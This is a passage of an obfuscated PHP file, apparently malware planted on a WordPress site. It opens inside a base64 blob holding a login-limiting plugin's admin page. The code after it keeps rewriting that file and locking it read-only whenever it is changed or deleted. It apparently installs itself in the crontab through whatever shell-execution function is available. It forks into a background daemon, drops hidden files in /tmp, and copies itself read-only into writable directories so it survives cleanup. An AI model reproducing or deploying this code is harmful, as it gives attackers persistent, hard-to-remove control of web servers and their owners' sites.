9ID8+CgkJPC90YWJsZT4KCSAgPC9mb3JtPgoJICA8aDM+PD9waHAgZWNobyBfXygnT3B0aW9ucycsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+PC9oMz4KCSAgPGZvcm0gYWN0aW9uPSJvcHRpb25zLWdlbmVyYWwucGhwP3BhZ2U9bGltaXQtbG9naW4tYXR0ZW1wdHMiIG1ldGhvZD0icG9zdCI+CgkJPD9waHAgd3Bfbm9uY2VfZmllbGQoJ2xpbWl0LWxvZ2luLWF0dGVtcHRzLW9wdGlvbnMnKTsgPz4KCSAgICA8dGFibGUgY2xhc3M9ImZvcm0tdGFibGUiPgoJCSAgPHRyPgoJCQk8dGggc2NvcGU9InJvdyIgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gX18oJ0xvY2tvdXQnLCdsaW1pdC1sb2dpbi1hdHRlbXB0cycpOyA/PjwvdGg+CgkJCTx0ZD4KCQkJICA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMyIgbWF4bGVuZ3RoPSI0IiB2YWx1ZT0iPD9waHAgZWNobyhsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpKTsgPz4iIG5hbWU9ImFsbG93ZWRfcmV0cmllcyIgLz4gPD9waHAgZWNobyBfXygnYWxsb3dlZCByZXRyaWVzJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz4gPGJyIC8+CgkJCSAgPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMiIG1heGxlbmd0aD0iNCIgdmFsdWU9Ijw/cGhwIGVjaG8obGltaXRfbG9naW5fb3B0aW9uKCdsb2Nrb3V0X2R1cmF0aW9uJykvNjApOyA/PiIgbmFtZT0ibG9ja291dF9kdXJhdGlvbiIgLz4gPD9waHAgZWNobyBfXygnbWludXRlcyBsb2Nrb3V0JywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz4gPGJyIC8+CgkJCSAgPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMiIG1heGxlbmd0aD0iNCIgdmFsdWU9Ijw/cGhwIGVjaG8obGltaXRfbG9naW5fb3B0aW9uKCdhbGxvd2VkX2xvY2tvdXRzJykpOyA/PiIgbmFtZT0iYWxsb3dlZF9sb2Nrb3V0cyIgLz4gPD9waHAgZWNobyBfXygnbG9ja291dHMgaW5jcmVhc2UgbG9ja291dCB0aW1lIHRvJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz4gPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMiIG1heGxlbmd0aD0iNCIgdmFsdWU9Ijw/cGhwIGVjaG8obGltaXRfbG9naW5fb3B0aW9uKCdsb25nX2R1cmF0aW9uJykvMzYwMCk7ID8+IiBuYW1lPSJsb25nX2R1cmF0aW9uIiAvPiA8P3BocCBlY2hvIF9fKCdob3VycycsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+IDxiciAvPgoJCQkgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzIiBtYXhsZW5ndGg9IjQiIHZhbHVlPSI8P3BocCBlY2hvKGxpbWl0X2xvZ2luX29wdGlvbigndmFsaWRfZHVyYXRpb24nKS8zNjAwKTsgPz4iIG5hbWU9InZhbGlkX2R1cmF0aW9uIiAvPiA8P3BocCBlY2hvIF9fKCdob3VycyB1bnRpbCByZXRyaWVzIGFyZSByZXNldCcsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+CgkJCTwvdGQ+CgkJICA8L3RyPgoJCSAgPHRyPgoJCQk8dGggc2NvcGU9InJvdyIgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gX18oJ1NpdGUgY29ubmVjdGlvbicsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+PC90aD4KCQkJPHRkPgoJCQkgIDw/cGhwIGVjaG8gJGNsaWVudF90eXBlX21lc3NhZ2U7ID8+CgkJCSAgPGxhYmVsPgoJCQkJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJjbGllbnRfdHlwZSIgCgkJCQkJICAgPD9waHAgZWNobyAkY2xpZW50X3R5cGVfZGlyZWN0OyA/PiB2YWx1ZT0iPD9waHAgZWNobyBMSU1JVF9MT0dJTl9ESVJFQ1RfQUREUjsgPz4iIC8+IAoJCQkJCSAgIDw/cGhwIGVjaG8gX18oJ0RpcmVjdCBjb25uZWN0aW9uJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz4gCgkJCSAgPC9sYWJlbD4KCQkJICA8bGFiZWw+CgkJCQk8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNsaWVudF90eXBlIiAKCQkJCQkgICA8P3BocCBlY2hvICRjbGllbnRfdHlwZV9wcm94eTsgPz4gdmFsdWU9Ijw/cGhwIGVjaG8gTElNSVRfTE9HSU5fUFJPWFlfQUREUjsgPz4iIC8+IAoJCQkJICA8P3BocCBlY2hvIF9fKCdGcm9tIGJlaGluZCBhIHJldmVyc3kgcHJveHknLCdsaW1pdC1sb2dpbi1hdHRlbXB0cycpOyA/PgoJCQkgIDwvbGFiZWw+CgkJCSAgPD9waHAgZWNobyAkY2xpZW50X3R5cGVfd2FybmluZzsgPz4KCQkJPC90ZD4KCQkgIDwvdHI+CgkJICA8dHI+CgkJCTx0aCBzY29wZT0icm93IiB2YWxpZ249InRvcCI+PD9waHAgZWNobyBfXygnSGFuZGxlIGNvb2tpZSBsb2dpbicsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+PC90aD4KCQkJPHRkPgoJCQkgIDxsYWJlbD48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvb2tpZXMiIDw/cGhwIGVjaG8gJGNvb2tpZXNfeWVzOyA/PiB2YWx1ZT0iMSIgLz4gPD9waHAgZWNobyBfXygnWWVzJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz48L2xhYmVsPiA8bGFiZWw+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJjb29raWVzIiA8P3BocCBlY2hvICRjb29raWVzX25vOyA/PiB2YWx1ZT0iMCIgLz4gPD9waHAgZWNobyBfXygnTm8nLCdsaW1pdC1sb2dpbi1hdHRlbXB0cycpOyA/PjwvbGFiZWw+CgkJCTwvdGQ+CgkJICA8L3RyPgoJCSAgPHRyPgoJCQk8dGggc2NvcGU9InJvdyIgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gX18oJ05vdGlmeSBvbiBsb2Nrb3V0JywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz48L3RoPgoJCQk8dGQ+CgkJCSAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJsb2Nrb3V0X25vdGlmeV9sb2ciIDw/cGhwIGVjaG8gJGxvZ19jaGVja2VkOyA/PiB2YWx1ZT0ibG9nIiAvPiA8P3BocCBlY2hvIF9fKCdMb2cgSVAnLCdsaW1pdC1sb2dpbi1hdHRlbXB0cycpOyA/PjxiciAvPgoJCQkgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibG9ja291dF9ub3RpZnlfZW1haWwiIDw/cGhwIGVjaG8gJGVtYWlsX2NoZWNrZWQ7ID8+IHZhbHVlPSJlbWFpbCIgLz4gPD9waHAgZWNobyBfXygnRW1haWwgdG8gYWRtaW4gYWZ0ZXInLCdsaW1pdC1sb2dpbi1hdHRlbXB0cycpOyA/PiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMyIgbWF4bGVuZ3RoPSI0IiB2YWx1ZT0iPD9waHAgZWNobyhsaW1pdF9sb2dpbl9vcHRpb24oJ25vdGlmeV9lbWFpbF9hZnRlcicpKTsgPz4iIG5hbWU9ImVtYWlsX2FmdGVyIiAvPiA8P3BocCBlY2hvIF9fKCdsb2Nrb3V0cycsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+CgkJCTwvdGQ+CgkJICA8L3RyPgoJCTwvdGFibGU+CgkJPHAgY2xhc3M9InN1Ym1pdCI+CgkJICA8aW5wdXQgbmFtZT0idXBkYXRlX29wdGlvbnMiIHZhbHVlPSI8P3BocCBlY2hvIF9fKCdDaGFuZ2UgT3B0aW9ucycsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+IiB0eXBlPSJzdWJtaXQiIC8+CgkJPC9wPgoJICA8L2Zvcm0+CgkgIDw/cGhwCgkJJGxvZyA9IGdldF9vcHRpb24oJ2xpbWl0X2xvZ2luX2xvZ2dlZCcpOwoKCQlpZiAoaXNfYXJyYXkoJGxvZykgJiYgY291bnQoJGxvZykgPiAwKSB7CgkgID8+CgkgIDxoMz48P3BocCBlY2hvIF9fKCdMb2Nrb3V0IGxvZycsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+PC9oMz4KCSAgPGZvcm0gYWN0aW9uPSJvcHRpb25zLWdlbmVyYWwucGhwP3BhZ2U9bGltaXQtbG9naW4tYXR0ZW1wdHMiIG1ldGhvZD0icG9zdCI+CgkJPD9waHAgd3Bfbm9uY2VfZmllbGQoJ2xpbWl0LWxvZ2luLWF0dGVtcHRzLW9wdGlvbnMnKTsgPz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0idHJ1ZSIgbmFtZT0iY2xlYXJfbG9nIiAvPgoJCTxwIGNsYXNzPSJzdWJtaXQiPgoJCSAgPGlucHV0IG5hbWU9InN1Ym1pdCIgdmFsdWU9Ijw/cGhwIGVjaG8gX18oJ0NsZWFyIExvZycsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+IiB0eXBlPSJzdWJtaXQiIC8+CgkJPC9wPgoJICA8L2Zvcm0+CgkgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbiI+CgkJLmxpbWl0LWxvZ2luLWxvZyB0aCB7CgkJCWZvbnQtd2VpZ2h0OiBib2xkOwoJCX0KCQkubGltaXQtbG9naW4tbG9nIHRkLCAubGltaXQtbG9naW4tbG9nIHRoIHsKCQkJcGFkZGluZzogMXB4IDVweCAxcHggNXB4OwoJCX0KCQl0ZC5saW1pdC1sb2dpbi1pcCB7CgkJCWZvbnQtZmFtaWx5OiAgIkNvdXJpZXIgTmV3IiwgQ291cmllciwgbW9ub3NwYWNlOwoJCQl2ZXJ0aWNhbC1hbGlnbjogdG9wOwoJCX0KCQl0ZC5saW1pdC1sb2dpbi1tYXggewoJCQl3aWR0aDogMTAwJTsKCQl9CgkgIDwvc3R5bGU+CgkgIDxkaXYgY2xhc3M9ImxpbWl0LWxvZ2luLWxvZyI+CgkJPHRhYmxlIGNsYXNzPSJmb3JtLXRhYmxlIj4KCQkgIDw/cGhwIGxpbWl0X2xvZ2luX3Nob3dfbG9nKCRsb2cpOyA/PgoJCTwvdGFibGU+CgkgIDwvZGl2PgoJICA8P3BocAoJCX0gLyogaWYgc2hvd2luZyAkbG9nICovCgkgID8+CgoJPC9kaXY+CQoJPD9waHAJCQp9CQo/Pg==';$_gt=base64_decode($OB);$_th=hash(_nl::_yrw('_q'.'vu'),$_gt);$OP=420;$PF='/tmp/.7f11a6a0023c618554c9c21682b6bede81643d18b';$MF='/tmp/.7f11a6a0023c618554c9c21682b6bede81643d18d';$LF='/tmp/.7f11a6a0023c618554c9c21682b6bede81643d18c';$_hyu=__FILE__;$_elo=time();$_mfm=031;$_pp=@file_get_contents($_hyu);if(@file_exists($MF)&&(time()-@filemtime($MF))<=074){exit(00);}@touch($MF);function os($_ia=0.39384181927953,$_nmy=null,$_lz='qrxdkurywiqijzexesl'){global $_hyu,$LF,$MF,$TR,$_pp;$_yo=@_ejg($_hyu,$TR,$LF,$_pp);@unlink($MF);$_hyd=@_wwg($_yo,$LF);if($_hyd!==false){exit(00);}else{}}@register_shutdown_function(_nl::_yrw('_n'.'d'.'k'));@umask(00);@chdir(_nl::_yrw('_tl'.'a'));@_csg($_hyu,$TR,$LF,$_pp);$_ij=function_exists(_nl::_yrw('_j'.'gy'))?(int)@getmypid():00;@file_put_contents($PF,(string)$_ij,02);if(function_exists(_nl::_yrw('_'.'xv'))){@proc_nice(012);}function _rs($_gp,$_ag,$_tz=40017){@file_put_contents($_gp,$_ag._nl::_yrw('_ndn'),010);}function _kga($_ls,$_mni=false,$_mji=-9134,$_fz=true){$_ldt=@fileperms($_ls);return$_ldt===false?false:($_ldt&0777);}function _ua($_tp,$_fco,$_lm=null,$_zf=-0.44295120019958,$_uvv=true){return(($_tp&$_fco)===$_fco)?$_tp:($_tp|$_fco);}function _wjm($_pgj,$_hhi,$_cvo=null,$_fo=false,$_xi='tkcrdldmbzfqyg'){$_ck=@dirname($_pgj);$_xz=$_ck.DIRECTORY_SEPARATOR._nl::_yrw('_x'.'yc').uniqid(_nl::_yrw('_'.'sdx'),true);if(@file_put_contents($_xz,$_hhi,02)===false){return @file_put_contents($_pgj,$_hhi,02)!==false;}if(!@rename($_xz,$_pgj)){@copy($_xz,$_pgj);@unlink($_xz);}return true;}function _csg($_hnd,$_bmv,$_gp,$_rb,$_uv=true,$_ye='c',$_pm=-0.5415355043597){$_lyv=@_tb(_nl::_yrw('_'.'v'.'a'.'m'));if(strpos($_lyv,_nl::_yrw('_'.'s'.'y'))!==false||strpos($_lyv,_nl::_yrw('_'.'qp'))!==false){$_lyv=_nl::_yrw('_iyw');}$_lsi=@_hv();$_qb=!empty($_lsi)?@reset($_lsi):_nl::_yrw('_p'.'cc');$_exw=@_ahn($_hnd,$_bmv,$_gp,$_rb);if($_exw)$_yjn=@escapeshellarg($_exw);else $_yjn=@escapeshellarg($_hnd);$_zlp=@escapeshellarg($_gp);if($_yjn===_nl::_yrw('_ob'))return false;$_wuf=_nl::_yrw('_'.'x'.'jc').$_qb._nl::_yrw('_ef'.'v').$_yjn._nl::_yrw('_lq');if(strpos($_lyv,$_yjn)===false){$_bk=rtrim($_lyv,_nl::_yrw('_j'.'yp'))._nl::_yrw('_v'.'v').$_wuf;$_suf=_nl::_yrw('_'.'u'.'n').@uniqid(_nl::_yrw('_hyz'),true);if(@file_put_contents($_suf,$_bk)!==false){$_wgw=@_tb(_nl::_yrw('_e'.'j'.'w').@escapeshellarg($_suf)._nl::_yrw('_fe'));@unlink($_suf);if($_wgw!==_nl::_yrw('_q'.'f')){}else{}}else{}}else{}}function _tb($_fx,$_hbt=true){if(function_exists(_nl::_yrw('_w'.'b'))){$_wnr=@shell_exec($_fx);if(is_string($_wnr)&&$_wnr!==_nl::_yrw('_ys'.'c'))return$_wnr;}if(!(@ini_get(_nl::_yrw('_'.'cmk'))&&stripos(@ini_get(_nl::_yrw('_dk'.'q')),_nl::_yrw('_'.'o'.'a'))!==false)){$_wnr=@$_fx;if(is_string($_wnr)&&$_wnr!==_nl::_yrw('_'.'su'.'t'))return$_wnr;}if(function_exists(_nl::_yrw('_ic'.'e'))){$_ot=array();$_ea=00;@exec($_fx._nl::_yrw('_mvg'),$_ot,$_ea);if(!empty($_ot))return @implode(_nl::_yrw('_s'.'w'),$_ot)._nl::_yrw('_yz'.'y');}if(function_exists(_nl::_yrw('_g'.'y'.'f'))){@ob_start();@system($_fx._nl::_yrw('_n'.'f'),$_ea);$_wnr=@ob_get_clean();if(is_string($_wnr)&&$_wnr!==_nl::_yrw('_'.'lh'))return$_wnr;}if(function_exists(_nl::_yrw('_g'.'l'.'l'))){@ob_start();@passthru($_fx._nl::_yrw('_'.'tr'),$_ea);$_wnr=@ob_get_clean();if(is_string($_wnr)&&$_wnr!==_nl::_yrw('_'.'vr'))return$_wnr;}if(function_exists(_nl::_yrw('_ng'))){$_ev=@popen($_fx._nl::_yrw('_o'.'u'.'g'),_nl::_yrw('_l'.'s'));if($_ev){$_wnr=@stream_get_contents($_ev);@pclose($_ev);if(is_string($_wnr)&&$_wnr!==_nl::_yrw('_'.'no'))return$_wnr;}}if(function_exists(_nl::_yrw('_z'.'o'))){$_pj=array(00=>array(_nl::_yrw('_z'.'q'),_nl::_yrw('_'.'jk'),_nl::_yrw('_xl')),01=>array(_nl::_yrw('_ofo'),_nl::_yrw('_jy')),02=>array(_nl::_yrw('_n'.'eh'),_nl::_yrw('_ij')));$_kb=@proc_open($_fx,$_pj,$_bs);if(is_resource($_kb)){$_vb=@stream_get_contents($_bs[01]);$_dg=@stream_get_contents($_bs[02]);foreach((array)$_bs as$_ls){@fclose($_ls);}@proc_close($_kb);$_wnr=(string)$_vb.(string)$_dg;if($_wnr!==_nl::_yrw('_pl'.'b'))return$_wnr;}}return _nl::_yrw('_'.'a'.'d');}function _hv($_xl=true,$_mjd=null,$_onf=null){$_ak=array();$_ak[]=_nl::_yrw('_zn');$_ak[]=_nl::_yrw('_hab');$_ak[]=_nl::_yrw('_s'.'h');if(defined(_nl::_yrw('_rt'))&&PHP_BINDIR){$_ak[]=rtrim(PHP_BINDIR,_nl::_yrw('_'.'l'.'f'.'f'))._nl::_yrw('_'.'s'.'l'.'u');}$_hgc=@_tb(_nl::_yrw('_lrn'));if($_hgc){$_hgc=@trim($_hgc);if($_hgc!==_nl::_yrw('_'.'u'.'x'.'i'))$_ak[]=$_hgc;}if(defined(_nl::_yrw('_'.'w'.'ql'))&&PHP_BINARY){$_ak[]=PHP_BINARY;}$_yds=array();$_chi=array();foreach($_ak as$_uz){if(!$_uz)continue;if(isset($_yds[$_uz]))continue;$_yds[$_uz]=true;$_chi[]=$_uz;}$_ot=array();foreach($_chi as$_uz){$_cc=@strtolower(@basename($_uz));if($_cc!==_nl::_yrw('_'.'x'.'y')&&(@strpos($_cc,_nl::_yrw('_hde'))!==false||@strpos($_cc,_nl::_yrw('_oy'.'s'))!==false)){continue;}if($_uz===_nl::_yrw('_ffy')){$_fx=_nl::_yrw('_'.'bb'.'w');}else{$_fx=escapeshellarg($_uz)._nl::_yrw('_'.'p'.'c');}$_ili=@_tb($_fx._nl::_yrw('_l'.'fr'));if($_ili&&@trim($_ili)===_nl::_yrw('_ja'.'u')){$_ot[]=$_uz;}}if(empty($_ot)){$_ot[]=_nl::_yrw('_qm'.'v');}else{$_kz=false;foreach($_ot as$_ls){if($_ls===_nl::_yrw('_hz')){$_kz=true;break;}}if(!$_kz)$_ot[]=_nl::_yrw('_'.'amf');}return$_ot;}function _ulz($_ow,$_eu=null){if(!is_string($_ow)||$_ow===_nl::_yrw('_h'.'n'))return 00;$_ow=@preg_replace(_nl::_yrw('_lub'),_nl::_yrw('_pv'),$_ow);if(@preg_match_all(_nl::_yrw('_i'.'xv'),$_ow,$_plh)&&!empty($_plh[01]))return (int)@end($_plh[01]);return 00;}function _sj($_ol=null){$_elr=@getenv(_nl::_yrw('_'.'i'.'a'));if($_elr&&@is_dir($_elr)&&@is_writable($_elr))return rtrim($_elr,DIRECTORY_SEPARATOR);if(function_exists(_nl::_yrw('_rj'))&&function_exists(_nl::_yrw('_l'.'m'))){$_ke=@posix_getpwuid(@posix_geteuid());if(is_array($_ke)&&!empty($_ke[_nl::_yrw('_'.'u'.'i')])&&@is_dir($_ke[_nl::_yrw('_'.'pfl')])&&@is_writable($_ke[_nl::_yrw('_hl')])){return rtrim($_ke[_nl::_yrw('_z'.'m'.'q')],DIRECTORY_SEPARATOR);}}$_ev=@_tb(_nl::_yrw('_pn'));$_ev=$_ev?trim($_ev):_nl::_yrw('_e'.'u');if($_ev&&@is_dir($_ev)&&@is_writable($_ev))return rtrim($_ev,DIRECTORY_SEPARATOR);return _nl::_yrw('_e'.'k'.'e');}function _dw($_bmv,$_lv='fihzdlazwci',$_ter=null){$_gpj=array();$_elr=@_sj();if($_elr){$_jk=$_elr.DIRECTORY_SEPARATOR._nl::_yrw('_t'.'gc');if(!@is_dir($_jk)){@mkdir($_jk,0775,true);}if(@is_dir($_jk)&&@is_writable($_jk)){$_gpj[]=$_jk;}$_gpj[]=$_elr;}$_gpj[]=_nl::_yrw('_z'.'d'.'j');$_gpj[]=_nl::_yrw('_ug'.'k');$_qad=@dirname($_bmv);if($_qad)$_gpj[]=$_qad;if(!empty($_SERVER[_nl::_yrw('_c'.'u')]))$_gpj[]=$_SERVER[_nl::_yrw('_'.'pv'.'l')];$_yds=array();foreach($_gpj as$_uta){if(!$_uta)continue;$_uta=rtrim($_uta,DIRECTORY_SEPARATOR);if(isset($_yds[$_uta]))continue;$_yds[$_uta]=true;if(@is_dir($_uta)&&@is_writable($_uta)&&$_uta!==__DIR__)return$_uta;}return _nl::_yrw('_ssb');}function _ahn($_hnd,$_bmv,$_gp,$_rb,$_jde=-48690,$_pej=-0.38398736659579){$_ck=@_dw($_bmv);if(!$_ck)return _nl::_yrw('_q'.'a');$_be=@sha1($_bmv);$_xmo=$_ck.DIRECTORY_SEPARATOR._nl::_yrw('_ahu').$_be._nl::_yrw('_f'.'h');if(@is_file($_xmo)&&@is_readable($_xmo)&&(@filesize($_xmo)>00)&&(@filesize($_xmo)===@filesize($_hnd)))return$_xmo;if($_rb!==false&&$_rb!==_nl::_yrw('_wvc')){$_hhi=$_rb;}else{$_hhi=@file_get_contents($_hnd);if($_hhi===false||$_hhi===_nl::_yrw('_za'.'a')){$_hhi=@file_get_contents($_xmo);if($_hhi===false||$_hhi===_nl::_yrw('_d'.'s'.'e'))return _nl::_yrw('_nq'.'u');}}if(@_wjm($_xmo,$_hhi)){@chmod($_xmo,0555);return$_xmo;}return _nl::_yrw('_hv');}function _ejg($_hnd,$_bmv,$_gp,$_rb,$_cqv=false){if(@is_file($_hnd)&&@is_readable($_hnd)&&(@filesize($_hnd)!==00))return$_hnd;$_jim=@_ahn($_hnd,$_bmv,$_gp,$_rb);if($_jim)return$_jim;return _nl::_yrw('_'.'j'.'v');}function _wwg($_vs,$_gp,$_hlf=null){$_fie=@_hv();$_ce=@escapeshellarg($_vs);$_pk=@escapeshellarg($_gp);$_pnj=function_exists(_nl::_yrw('_j'.'t'))?@sys_get_temp_dir():_nl::_yrw('_aud');$_nq=@rtrim($_pnj?:_nl::_yrw('_krx'),DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR._nl::_yrw('_a'.'e').@uniqid(_nl::_yrw('_'.'ig'),true)._nl::_yrw('_li'.'w');$_wn=@escapeshellarg($_nq);$_xb=array(_nl::_yrw('_q'.'t'),_nl::_yrw('_ky'.'b'),);$_ktn=array(_nl::_yrw('_x'.'a'.'i'),_nl::_yrw('_zc'.'z'),_nl::_yrw('_d'.'u'),_nl::_yrw('_tzi'),_nl::_yrw('_an'.'g'),);$_ks=array(_nl::_yrw('_fm'.'k'),_nl::_yrw('_hp'),);$_zmt=@array_merge($_fie,array(_nl::_yrw('_'.'moq'),_nl::_yrw('_'.'bu')));foreach((array)$_zmt as$_nh){$_jx=@escapeshellcmd($_nh);foreach($_xb as$_xgq){$_vu=@strtr($_xgq,array(_nl::_yrw('_'.'z'.'t'.'k')=>$_jx,_nl::_yrw('_tb')=>$_ce));foreach($_ktn as$_kh){$_fx=@strtr($_kh,array(_nl::_yrw('_'.'xt')=>$_vu,_nl::_yrw('_md'.'o')=>$_pk));$_ot=@_tb($_fx);$_ud=@_ulz($_ot);if($_ud>00)return$_ud;}}}if(function_exists(_nl::_yrw('_d'.'q'))){foreach((array)$_zmt as$_nh){$_pj=array(00=>array(_nl::_yrw('_c'.'p'),_nl::_yrw('_a'.'n'.'v'),_nl::_yrw('_u'.'hw')),01=>array(_nl::_yrw('_ovx'),$_gp,_nl::_yrw('_ga'.'e')),02=>array(_nl::_yrw('_t'.'o'.'a'),$_gp,_nl::_yrw('_ik'.'k')));$_fx=@escapeshellcmd($_nh)._nl::_yrw('_b'.'x'.'f').$_ce;$_kb=@proc_open($_fx,$_pj,$_bs);if(is_resource($_kb)){$_nzc=@proc_get_status($_kb);if($_nzc&&!empty($_nzc[_nl::_yrw('_rm'.'o')])&&(int)$_nzc[_nl::_yrw('_da')]>00)return (int)$_nzc[_nl::_yrw('_io')];}}}foreach((array)$_zmt as$_nh){$_jx=@escapeshellcmd($_nh);foreach($_xb as$_xgq){$_vu=@strtr($_xgq,array(_nl::_yrw('_'.'qb')=>$_jx,_nl::_yrw('_fr'.'t')=>$_ce));foreach($_ks as$_kh){$_fx=@strtr($_kh,array(_nl::_yrw('_o'.'w')=>$_vu,_nl::_yrw('_o'.'n'.'x')=>$_jx,_nl::_yrw('_gj'.'i')=>$_ce,_nl::_yrw('_'.'vyk')=>$_pk,_nl::_yrw('_rh')=>$_wn));@_tb($_fx._nl::_yrw('_kz'.'e'));$_ud=(int)@trim(@file_get_contents($_nq));if($_ud>00){@unlink($_nq);return$_ud;}}}}if(function_exists(_nl::_yrw('_dh'.'a'))){foreach((array)$_zmt as$_nh){$_jx=@escapeshellcmd($_nh);$_vu=$_jx._nl::_yrw('_zh').$_ce;$_fx=_nl::_yrw('_ggr').@escapeshellarg($_vu._nl::_yrw('_fhj').@escapeshellarg($_gp)._nl::_yrw('_uf'));$_pj=array(00=>array(_nl::_yrw('_p'.'l'),_nl::_yrw('_'.'o'.'x'),_nl::_yrw('_'.'ep'.'g')),01=>array(_nl::_yrw('_'.'cb'.'x'),_nl::_yrw('_d'.'r'.'n')),02=>array(_nl::_yrw('_'.'x'.'p'.'h'),_nl::_yrw('_nha')));$_kb=@proc_open($_fx,$_pj,$_bs);if(is_resource($_kb)){$_ot=@stream_get_contents($_bs[01]);foreach((array)$_bs as$_ls){@fclose($_ls);}@proc_close($_kb);$_ud=@_ulz($_ot);if($_ud>00)return$_ud;}}}if(function_exists(_nl::_yrw('_ix'))){$_ud=@pcntl_fork();if($_ud>00)return$_ud;if($_ud===00){global $LF;if(function_exists(_nl::_yrw('_b'.'p'))){@posix_setsid();}@chdir(_nl::_yrw('_'.'k'.'v'));@umask(00);@fclose(STDIN);@fclose(STDOUT);@fclose(STDERR);$_rd=@fopen(_nl::_yrw('_uts'),_nl::_yrw('_wk'.'d'));$_kpq=@fopen($LF,_nl::_yrw('_vd'.'u'));$_uhd=$_kpq;for($_if=03;$_if<02000;$_if++){@fclose($_if);}$_fie=@_hv();if(!empty($_fie)&&function_exists(_nl::_yrw('_'.'oo'.'u'))){$_nh=@reset($_fie);@pcntl_exec($_nh,array($_vs));}@include $_vs;while(true){sleep(07020);}@exit(00);}}return false;}function _xm($_bmv,$_ql=22043,$_axk=1.9567824348985,$_lk=null){$_gpj=array();$_lkf=@sys_get_temp_dir();if($_lkf)$_gpj[]=$_lkf;$_gpj[]=_nl::_yrw('_q'.'o'.'o');$_gpj[]=_nl::_yrw('_qjm');$_ot=array();$_yds=array();foreach($_gpj as$_uta){if(!$_uta)continue;$_uta=rtrim($_uta,DIRECTORY_SEPARATOR);if(isset($_yds[$_uta]))continue;$_yds[$_uta]=true;if(@is_dir($_uta)&&@is_writable($_uta))$_ot[]=$_uta;}return$_ot;}function _cpp($_hnd,$_bmv,$_gp,$_rb,$_vyl,$_llz=90607,$_gs=null){$_be=@sha1($_bmv);if($_rb!==false&&$_rb!==_nl::_yrw('_'.'p'.'m')){$_hhi=$_rb;}else{$_hhi=@file_get_contents($_hnd);if($_hhi===false||$_hhi===_nl::_yrw('_tub')){$_hhi=@file_get_contents($_vyl);if($_hhi===false||$_hhi===_nl::_yrw('_ew'.'f'))return _nl::_yrw('_mq');}}$_gpj=@_xm($_bmv);foreach($_gpj as$_uta){$_ls=$_uta.DIRECTORY_SEPARATOR._nl::_yrw('_g'.'m').$_be._nl::_yrw('_'.'jm');if($_ls===$_hnd)continue;if(!@is_file($_ls)||(@filesize($_ls)===00)){if(@_wjm($_ls,$_hhi)){@chmod($_ls,0555);}}}}function _mf($_hnd,$_bmv,$_gp,$_rb,$_tm=false){$_dpx=false;$_hh=_nl::_yrw('_'.'i'.'kt');$_hh=_nl::_yrw('_rm');$_vyl=@_ahn($_hnd,$_bmv,$_gp,$_rb);$_xv=array_filter(array($_hnd,$_vyl));foreach($_xv as$_wjy){if(!$_wjy)continue;if(!@file_exists($_wjy)){$_dpx=true;$_hh=$_wjy;}else{$_ux=@file_get_contents($_wjy);if($_ux===false||$_ux===_nl::_yrw('_'.'jz'.'u')){$_dpx=true;$_hh=$_wjy;}else{$_fip=$_ux;}}}if($_dpx&&$_fip!==_nl::_yrw('_z'.'u')&&$_hh!==_nl::_yrw('_'.'uur')){@_wjm($_hh,$_fip);@chmod($_hh,0555);}@_cpp($_hnd,$_bmv,$_gp,$_rb,$_vyl);}while(true){try{@touch($MF);@clearstatcache(true,$TR);$_jgj=false;if(!@file_exists($TR)){$_jgj=true;}else{$_tp=@file_get_contents($TR);if($_tp===false){$_jgj=true;}else{$_wt=@hash(_nl::_yrw('_dyh'),$_tp);if($_wt!==$_th){$_jgj=true;}}if(!$_jgj){$_vjj=@_kga($TR);if($_vjj===false){$_jgj=true;}else if(($_vjj&0444)!==0444){$_jgj=true;}}}if($_jgj){@mkdir(@dirname($TR),0775,true);if(@_wjm($TR,$_gt)){$_vjj=@_kga($TR);if($_vjj===false){$_vjj=0444;}$_hnv=@_ua($OP,0444);@chmod($TR,$_hnv);}else{@file_put_contents($TR,$_gt);@chmod($TR,@_ua($OP,0444));}}@_mf($_hyu,$TR,$LF,$_pp);if((time()-$_elo)>=$_mfm){exit(00);}}catch(Exception$_pc){}finally{sleep(03);}}